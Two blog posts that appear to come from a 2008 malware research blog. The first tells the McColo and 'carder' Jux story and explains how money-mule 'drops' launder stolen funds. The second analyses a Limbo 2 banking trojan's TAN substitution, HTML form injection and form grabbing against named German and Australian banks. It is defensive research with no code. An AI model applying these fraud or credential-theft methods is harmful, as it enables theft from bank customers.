Nikolai, the founder of McColo, has died in a tragic accident in September 2007 during the drag racing on the streets of Moscow. At the time of the accident, he was in the car with his friend Jux. Their car has crashed into the pole at the speed of 200 Km/h - it was virtually torn in half:

McColo's friend, Jux, who was driving the car and who survived the accident, has once been slammed in the Russian hacking underground community as "kidala" (fraudster). Months before the accident, Jux has reportedly stolen some money from the "carders" (credit card fraudsters) who relied on his money laundering service.

In an attempt to find Jux, one of the "carders" has even sponsored the writing of a song to deliver "the message" to Jux. The lyrics of that song are quite intriguing (translated from Russian):

Poor architect Mr Smith has his credit card ripped off
He's calling for doctor but the doctor won't come
In the same time, one geek over computer gets heaps of cash
He finds a guinea-pig "drop" who gets caught by police
But all the leads are hidden smart so they fail to find anything

Hey user, watch out! Or, next time your money won't get to the beneficiary
Why? Because you're dealing with a pro who's breathing with Internet
He knows thousands of tricks, he's cool with writing any software or crack..

To get the money out of Internet he doesn't have to risk with a prison
Moreover, he can live in a house that has no neighbors
And his new BMW 7 is way better than his old bicycle
His account has lots of zeroes that will stay there even if his "drops" will get caught

We know one boy who was getting lots of cash by using WebMoney
He started spending a lot living life of the rich
From a humble guy he turned into a bighead
Once he gained trust from the "carders" and his profit was stable
While he was steadily sawing America with his virtual drill
Jux decided that now he wants more wealth
So, he sold his reputation off by stealing $50K from all the "carders" he knew
Without caring for his own life or whether he can be buried for what he did
So now we ask you, brother - where are you heading, what you gonna do now?
Are you going to eat in the restaurants and celebrate till the rest of your life?

Dollars, money - it's not what the real "carders" are living for
Hey, you - step aside, watch out!
We'll tear in pieces anyone who wants to steal from us

This track was named "About the carder Jux" and included into the album of one Russian rap group. You may listen to it here.

For those who don't know, "drop" in the slang of the hackers is an important element of the money laundering schemes - it's a person who agrees to receive the illegal money transferred to his or her account with the purpose of withdrawing the cash and handling it back to the person who asked for such service. The "drop" normally receives commission. If arrested by police, the "drop" insists that he or she knows nothing about the crime and has only agreed to help for a small reward. "Carders" hire "drops" to accept and then withdraw cash produced by their criminal cyber activity, e.g. funds that the "carders" steal from the compromised banking accounts.

Where did the "carders" host their exploits and malware? Where did they store data received from the malware that was implanted on the victims' computers? Where the spambots were operated from?

That's right - they used the service that Nikolai provided to them. It's called collaboration.

Just like in their rap anthem above, these guys had "all the leads hidden smart". Meanwhile, the security community was talking about McColo for years, drawing charts, staring at their fancy website with Cisco Systems and Hewlett-Packard indicated as the company’s partners, reading testimonials written by McColo's friends and evaluating the risk of being sued by a "legitimate business operating out of Delaware".

While all that really mattered was to stand up and shut it down, like Security Fix did. Good lesson from Brian Krebs for all of us indeed..

One Tricky Banking Trojan

noreply@blogger.com (Sergei Shevchenko) — Thu, 13 Nov 2008 22:43:00 +0000

A routine inspection of ThreatExpert reports revealed a large number of submissions of a banking trojan that appears to be produced by the construction kit "Limbo 2".

An analysis of this trojan reveals a few interesting techniques that are enlisted below.

TAN Grabber

Transaction authentication number (TAN) is used as a two-factor authentication. It's basically a single-use password required to authorize the online banking transaction.

The bank normally generates a list of unique TAN numbers and handles it to the client. Any TAN from the list can be used only once. This way, it serves an additional security layer on top of traditional username/password authentication.

TANs are commonly used by German banks where the lists normally contain 100 unique numbers.

The banking trojan specifically attacks the clients of several online banking services that are known to rely on TAN. These banking services are registered on the following domains:

gad.de

vr-networld-ebanking.de

finanzportal.fiducia.de

financepilot-trans.mlp.de

citibank.de

wuestenrot.de

norisbank.de

When the client enters a valid TAN number, the trojan intercepts that number and substitutes it with a random (incorrect) number that will be rejected by the bank. The contents of HTML page rendered by browser to the client is then filtered by the trojan so that the incorrect number is replaced again with the intercepted number - the user is shown that number in order to convince her that the number was entered correctly.

The intercepted (correct) TAN along with the user's login details is then posted to the hacker's website.

HTML Injection

Some variants of this trojan inject fake fields into the online banking forms that the browser displays to the user.

The additional fields are designed to collect details to help an attacker to impersonate the victim and/or compromise victim's account, such as credit card number, date of birth, and answers to the questions that are commonly asked during two-factor authentication.

The image below demonstrates extra fields added to the known online banking services. All intercepted details are also delivered to the remote site.

Form Grabber

Another interesting feature of this trojan is that it specifically targets several Australian financial institutions by inspecting the visited URL and the contents of the traffic by parsing POST requests and the returned HTML pages.

If the trojan detects that the client interacts with a pre-determined Australian bank, it will engage several techniques in an attempt to compromise the user account, as indicated below.

Firstly, the trojan seems to be able to easily compromise the "Scramble Pad" authentication employed by the Adelaide Bank.

Here is the contents of memory that the trojan dynamically allocates on the heap of the browser process:

The contents of the memory dump above represents a filter that the trojan uses to recognise and target Adelaide Bank's online banking service - the image below shows the actual online banking login window and the source of HTML that contains the strings recognised by the trojan (highlighted in blue):

As soon as the user enters "Customer Number" and provides "Personal Access Code" by typing letters from the Scramble Pad, the trojan easily intercepts the entered details. Considering that the Scramble Pad itself is a plain ASCII text (highlighted in the picture above in red), the account details are compromised with no obstruction.

Below is the actual contents of the trojan's heap memory once it intercepts the access code 12345 typed by using the Scramble Pad above as "GNDXT":

As seen in the picture, the trojan tags the intercepted details with 2 keywords: KEYLOGGED and KEYSREAD (presumably to reflect 2 different methods of grabbing the login form contents).

Other Australian financial institutions exclusively targeted by this trojan are:

Australian Central Credit Union

Police & Nurses Credit Society

Citibank Australia

Commonwealth Bank of Australia

This is evidenced with the following filters employed by the trojan:

NOTE: The "three Personal Icons" filter above will recognise the ACCU's two-factor authentication that is based on personal icons.

The trojan seems to be capable of intercepting data that is entered with the virtual keyboards too.

For example, below is the login window of the Citibank Australia:

During trojan analysis, there were fake details entered into the login form. Once specified, the memory contents of Internet Explorer was found to contain in plain text 37 instances of the User ID and 8 instances of the User Password - exactly as they were provided.

An example below shows one such instance. Please note that while VICTIM_ID word was typed on the keyboard, VICTIM_PASSWORD word was entered by using the virtual keyboard window:

As see on the picture, the contents of memory is visible for the trojan in plain ASCII text - it does not need to install any hooks into the chain of the keystroke handlers, and thus, can't be prevented with the host intrusion prevention systems.

Considering the intercepted data is then delivered via HTTP from the code running in the address space of Internet Explorer, the leakage of confidential data is transparent for the firewalls.

Another example demonstrates how the trojan intercepts login details for Netbank - the online banking service of the Commonwealth Bank of Australia:

As seen in the memory dump above, the trojan successfully intercepts fake login details (11220033, Victim_Password), tags them with the keywords KEYLOGGED and KEYSREAD, and encrypts them with XOR 0x0E in order to prepare the package for posting.

Analysis of this trojan leaves mixed feelings about the banks and the way they implement some two-factor authentication schemes.

What this trojan definitely proves is that current schemes employed by the online banking services need to be critically reviewed and significantly reinforced.